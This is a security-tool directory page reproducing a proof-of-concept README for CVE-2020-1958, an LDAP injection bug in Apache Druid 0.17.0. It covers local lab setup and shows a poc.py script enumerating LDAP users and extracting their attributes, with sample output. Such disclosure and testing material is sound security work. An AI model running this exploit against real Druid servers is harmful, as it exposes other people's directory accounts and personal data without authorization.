Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-1958 — CVE-2020-1958 PoC | Kitploit
Tools/GitHubGitHub/ggolawski/cve-2020-1958
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAuthentication
GitHubggolawski/cve-2020-1958

CVE-2020-1958

CVE-2020-1958 PoC

View Repository
2186 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-1958 PoC

CVE-2020-1958 is high severity LDAP injection vulnerability in Apache Druid 0.17.0. It allows an attacker to bypass LDAP search filter and to retrieve any LDAP attribute values of users that exist on the LDAP server.

From official Apache Druid advisory:

When LDAP authentication is enabled:

  • Callers of Druid APIs with a valid set of LDAP credentials can bypass the credentialsValidator.userSearch filter barrier that determines if a valid LDAP user is allowed to authenticate with Druid. They are still subject to role-based authorization checks, if configured.
  • Callers of Druid APIs can retrieve any LDAP attribute values of users that exist on the LDAP server, so long as that information is visible to the Druid server. This information disclosure does not require the caller itself to be a valid LDAP user.

PoC

The poc.py script demonstrates how an unauthorized attacker can enumerate users on LDAP server integrated with Druid and fetch the value of any attribute of any user.

Local Druid test server

Skip this step if you already have a Druid server with enabled LDAP authentication.

  1. Download Druid 0.17.0 and extract it

    root@kitploit:~
    $ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
    $ tar -zxf apache-druid-0.17.0-bin.tar.gz
    
    
  2. Enable and configure LDAP authentication in conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • Enable druid-basic-security extension

      Locate druid.extensions.loadList and add druid-basic-security:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • Configure LDAP authentication

      Add the following at the end of the file:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  3. Run OpenLDAP server

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  4. Import users from users.ldif to LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  5. Run Druid server

    root@kitploit:~
    $ bin/start-nano-quickstart
    

Enumerate users

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

Retrieve LDAP attributes' values of admin1 user

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last
Download Tool